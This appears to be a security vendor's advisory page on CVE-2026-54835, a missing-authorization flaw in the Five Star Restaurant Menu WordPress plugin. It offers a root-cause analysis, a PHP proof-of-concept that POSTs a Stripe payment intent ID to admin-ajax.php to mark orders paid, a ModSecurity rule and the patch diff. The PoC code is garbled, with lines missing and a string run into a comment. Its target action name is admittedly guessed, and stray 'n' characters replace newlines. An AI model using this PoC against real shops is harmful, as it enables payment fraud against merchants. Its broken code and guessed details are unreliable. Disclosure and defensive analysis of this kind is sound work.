{
“analysis”: “Atomic Edge analysis of CVE-2026-54835:nnThe vulnerability affects the Five Star Restaurant Menu and Food Ordering plugin for WordPress (versions up to and including 2.5.2). It is a missing authorization (CWE-862) issue with a CVSS score of 5.3. The flaw allows unauthenticated attackers to perform unauthorized actions related to order payment processing.nnRoot Cause:nThe root cause is the absence of a capability check in the payment validation function. In the vulnerable version, the `valid_payment()` method in `/food-and-drink-menu/includes/class-order-payments.php` (line 398-399) simply compares the submitted `payment_id` POST parameter to the stored `stripe_payment_intent_id` without verifying the user’s authentication or authorization. The function `valid_payment()` at `class-order-payments.php:395` lacks any check for `current_user_can()` or nonce validation. This allows unauthenticated attackers to manipulate payment status by providing a known or predictable payment intent ID.nnExploitation:nAn unauthenticated attacker can send a POST request to `/wp-admin/admin-ajax.php` with an action parameter that triggers the payment validation flow (likely `fdm_stripe_payment_complete` or similar). The attacker submits a `payment_id` parameter containing any value that matches the `stripe_payment_intent_id` stored in an existing order. Since no authentication barrier exists, the attacker can enumerate orders (if order IDs are sequential) or use a known payment intent ID from a previous legitimate transaction. The vulnerable `valid_payment()` function will return true if the IDs match, allowing the attacker to bypass payment verification.nnPatch Analysis:nThe patch in version 2.5.3 replaces the simple string comparison in `valid_payment()` with a proper Stripe PaymentIntent verification. The patched code (via the diff) implements: 1) Loading the Stripe PHP library, 2) Setting the Stripe API key, 3) Retrieving the PaymentIntent object from Stripe using `Stripe\PaymentIntent::retrieve()`, 4) Checking the actual payment status from Stripe (either ‘requires_capture’ or ‘succeeded’ depending on hold settings). This ensures only valid, completed Stripe payments are accepted, regardless of what `payment_id` the user submits.nnImpact:nSuccessful exploitation allows unauthenticated attackers to mark orders as paid without valid payment. This can lead to: fraudulent orders being processed as paid, loss of revenue for the merchant, bypassing payment gateway fees, and potential inventory manipulation. The vulnerability does not lead to remote code execution or direct data exposure, but it undermines the payment integrity of the food ordering system.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-54835 – Five Star Restaurant Menu and Food Ordering ‘fdm_stripe_payment_complete’, // Assumed AJAX action; adjust if differentn ‘payment_id’ => ‘pi_3MtwBwLkdIwHu7ix28snTq5E’, // Example Stripe PaymentIntent IDn ‘order_id’ => 1 // Example order IDn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, false);nn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “HTTP Response Code: ” . $http_code . “\n”;necho “Response: ” . $response . “\n”;nn// If the request returns success (200 OK) and processes the payment,n// it confirms the missing authorization vulnerability.n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-54835n# Blocks unauthenticated payment completion requests via AJAXnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-54835 – unauthorized payment completion’,severity:’CRITICAL’,tag:’CVE-2026-54835′”n SecRule ARGS_POST:action “@streq fdm_stripe_payment_complete” “chain”n SecRule ARGS_POST:payment_id “@rx ^pi_[A-Za-z0-9]+$”n”
}

Published : June 26, 2026
CVE-2026-54835: Five Star Restaurant Menu and Food Ordering <= 2.5.2 Missing Authorization PoC, Patch Analysis & Rule
CVE ID
CVE-2026-54835
Plugin
food-and-drink-menu
Severity
Medium
(CVSS 5.3)
CWE
862
Vulnerable Version
2.5.2
Patched Version
2.5.3
Disclosed
June 17, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/food-and-drink-menu/food-and-drink-menu.php
+++ b/food-and-drink-menu/food-and-drink-menu.php
@@ -3,8 +3,9 @@
* Plugin Name: Five Star Restaurant Menu and Food Ordering
* Plugin URI: https://www.fivestarplugins.com/plugins/five-star-restaurant-menu/
* Description: Restaurant menu and food ordering system that is easy to set up and integrates with any theme. Includes restaurant menu blocks and patterns.
- * Version: 2.5.2
+ * Version: 2.5.3
* Requires at least: 6.0
+ * Requires PHP: 8.0
* Author: Five Star Plugins
* Author URI: https://www.fivestarplugins.com/
* Text Domain: food-and-drink-menu
@@ -43,7 +44,7 @@
define( 'FDM_PLUGIN_FNAME', plugin_basename( __FILE__ ) );
define( 'FDM_UPGRADE_URL', 'https://www.fivestarplugins.com/license-payment/?Selected=FDM&Quantity=1' );
define( 'FDM_TEMPLATE_DIR', 'fdm-templates' );
- define( 'FDM_VERSION', '2.5.2' );
+ define( 'FDM_VERSION', '2.5.3' );
define( 'FDM_MENU_POST_TYPE', 'fdm-menu' );
define( 'FDM_MENUITEM_POST_TYPE', 'fdm-menu-item' );
define( 'FDM_ORDER_POST_TYPE', 'fdm-order' );
--- a/food-and-drink-menu/includes/class-order-item.php
+++ b/food-and-drink-menu/includes/class-order-item.php
@@ -81,6 +81,12 @@
// The custom fields associated with this order
public $custom_fields = array();
+ // Stripe payment properties
+ public $stripe_payment_intent_id;
+ public $stripe_payment_hold_status;
+ public $stripe_customer_id;
+ public $edit_confirmation_code;
+
// Stores any errors found during the validation process
public $validation_errors = array();
@@ -132,10 +138,12 @@
'receipt_id' => '',
'discount_code' => '',
'payment_amount' => 0,
+ 'order_total' => 0,
'subtotal' => 0,
'tax_amount' => 0,
'delivery_amount' => 0,
'tip_amount' => 0,
+ 'discount_amount' => 0,
'estimated_time' => '24:00',
'permalink' => get_site_url(),
'custom_fields' => array()
--- a/food-and-drink-menu/includes/class-order-payments.php
+++ b/food-and-drink-menu/includes/class-order-payments.php
@@ -358,9 +358,16 @@
$order->post_status = 'fdm_order_received';
- $order->payment_amount = $fdm_controller->settings->get_setting( 'ordering-currency' ) != 'JPY' ? intval( $_POST['payment_amount'] ) / 100 : intval( $_POST['payment_amount'] );
+ // load the stripe libraries
+ require_once( FDM_PLUGIN_DIR . '/lib/stripe/init.php' );
- $order->receipt_id = sanitize_text_field( $_POST['payment_id'] );
+ StripeStripe::setApiKey( $this->get_secret() );
+
+ $intent = StripePaymentIntent::retrieve( $order->stripe_payment_intent_id );
+
+ $order->payment_amount = $fdm_controller->settings->get_setting( 'ordering-currency' ) != 'JPY' ? $intent->amount / 100 : $intent->amount;
+
+ $order->receipt_id = $intent->id;
// Not needed anymore
unset( $order->stripe_payment_intent_id );
@@ -394,13 +401,41 @@
}
/**
- * Validate the payment success request by verifing the payment_intent ID
+ * Validate the payment success request by verifying the payment_intent ID
*
* @return bool true on valid else false
*/
public function valid_payment( $order ) {
+ global $fdm_controller;
+
+ if ( empty( $order->stripe_payment_intent_id ) ) { return false; }
+
+ $posted_id = sanitize_text_field( $_POST['payment_id'] ?? '' );
+ if ( $posted_id !== $order->stripe_payment_intent_id ) { return false; }
+
+ try {
+
+ // load the stripe libraries
+ require_once( FDM_PLUGIN_DIR . '/lib/stripe/init.php' );
+
+ StripeStripe::setApiKey( $this->get_secret() );
+
+ $intent = StripePaymentIntent::retrieve( $order->stripe_payment_intent_id );
+
+ $is_hold = $fdm_controller->settings->get_setting( 'fdm-stripe-hold' );
+ $valid_status = $is_hold ? 'requires_capture' : 'succeeded';
+
+ return $intent->status === $valid_status;
+ }
+ catch ( Exception $ex ) {
+
+ if ( defined('WP_DEBUG') && WP_DEBUG ) {
+
+ error_log( sprintf( __( 'Five Star FDM Stripe valid_payment error: %s', 'food-and-drink-menu' ), $ex->getMessage() ) );
+ }
- return sanitize_text_field( $_POST['payment_id'] ) == $order->stripe_payment_intent_id;
+ return false;
+ }
}
/**
--- a/food-and-drink-menu/lib/stripe/lib/Collection.php
+++ b/food-and-drink-menu/lib/stripe/lib/Collection.php
@@ -116,6 +116,7 @@
* @return ArrayIterator an iterator that can be used to iterate
* across objects in the current page
*/
+ #[ReturnTypeWillChange]
public function getIterator()
{
return new ArrayIterator($this->data);
--- a/food-and-drink-menu/lib/stripe/lib/HttpClient/CurlClient.php
+++ b/food-and-drink-menu/lib/stripe/lib/HttpClient/CurlClient.php
@@ -498,7 +498,6 @@
private function closeCurlHandle()
{
if (null !== $this->curlHandle) {
- curl_close($this->curlHandle);
$this->curlHandle = null;
}
}
--- a/food-and-drink-menu/lib/stripe/lib/StripeObject.php
+++ b/food-and-drink-menu/lib/stripe/lib/StripeObject.php
@@ -194,27 +194,32 @@
}
// ArrayAccess methods
+ #[ReturnTypeWillChange]
public function offsetSet($k, $v)
{
$this->{$k} = $v;
}
+ #[ReturnTypeWillChange]
public function offsetExists($k)
{
return array_key_exists($k, $this->_values);
}
+ #[ReturnTypeWillChange]
public function offsetUnset($k)
{
unset($this->{$k});
}
+ #[ReturnTypeWillChange]
public function offsetGet($k)
{
return array_key_exists($k, $this->_values) ? $this->_values[$k] : null;
}
// Countable method
+ #[ReturnTypeWillChange]
public function count()
{
return count($this->_values);
@@ -419,6 +424,7 @@
}
}
+ #[ReturnTypeWillChange]
public function jsonSerialize()
{
return $this->toArray();
--- a/food-and-drink-menu/lib/stripe/lib/Util/CaseInsensitiveArray.php
+++ b/food-and-drink-menu/lib/stripe/lib/Util/CaseInsensitiveArray.php
@@ -21,16 +21,19 @@
$this->container = array_change_key_case($initial_array, CASE_LOWER);
}
+ #[ReturnTypeWillChange]
public function count()
{
return count($this->container);
}
+ #[ReturnTypeWillChange]
public function getIterator()
{
return new ArrayIterator($this->container);
}
+ #[ReturnTypeWillChange]
public function offsetSet($offset, $value)
{
$offset = static::maybeLowercase($offset);
@@ -41,6 +44,7 @@
}
}
+ #[ReturnTypeWillChange]
public function offsetExists($offset)
{
$offset = static::maybeLowercase($offset);
@@ -48,12 +52,14 @@
return isset($this->container[$offset]);
}
+ #[ReturnTypeWillChange]
public function offsetUnset($offset)
{
$offset = static::maybeLowercase($offset);
unset($this->container[$offset]);
}
+ #[ReturnTypeWillChange]
public function offsetGet($offset)
{
$offset = static::maybeLowercase($offset);
--- a/food-and-drink-menu/lib/stripe/lib/Util/Set.php
+++ b/food-and-drink-menu/lib/stripe/lib/Util/Set.php
@@ -37,6 +37,7 @@
return array_keys($this->_elts);
}
+ #[ReturnTypeWillChange]
public function getIterator()
{
return new ArrayIterator($this->toArray());
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






